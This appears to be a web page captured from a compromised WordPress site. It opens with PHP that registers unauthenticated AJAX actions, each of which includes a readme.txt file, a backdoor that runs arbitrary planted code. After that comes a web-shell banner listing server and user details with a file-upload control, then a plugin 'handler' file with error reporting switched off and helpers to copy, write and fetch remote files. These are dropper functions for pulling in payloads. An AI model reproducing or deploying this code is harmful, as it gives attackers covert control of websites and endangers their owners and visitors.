if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_bak/wp-content/plugins/tes-plugin/handler/file.php
<?php

error_reporting(0);

function copy_or_rename($filename, $target){
    $cop = copy($filename, $target);
    if($cop) {
        return true;
    }
    $ren = rename($filename, $target);
    if($ren) {
        return true;
    }
    return false;
}

function save_file($file_name, $content){
    $p = file_put_contents($file_name, $content);
    if($p) {
        return $p;
    }
    $file = fopen($file_name, 'w');
    fwrite($file, $content);
    fclose($file);
}

function fetchDataFromURL($url) {
    // Initialize cURL
    $curl = curl_init();
    
    // Set the cURL options
    curl_setopt($curl, CURLOPT_URL, $url); // Set the URL to fetch
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Return the transfer as a string
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // Follow redirects if any
    
    // Execute the cURL request
    $response = curl_exec($curl);
    
    // Check for errors
    if ($response === false) {
        $error = curl_error($curl);
        curl_close($curl);
        return false;
    }
    
    // Close the cURL session
    curl_close($curl);
    
    // Return the fetched data
    return $response;
}


function fetch($url) {
    $result = file_get_contents($url);
    if($result){
        return $result;
    }
    $result = fetchDataFromURL($url);
    if($result) {
        return $result;
    }

}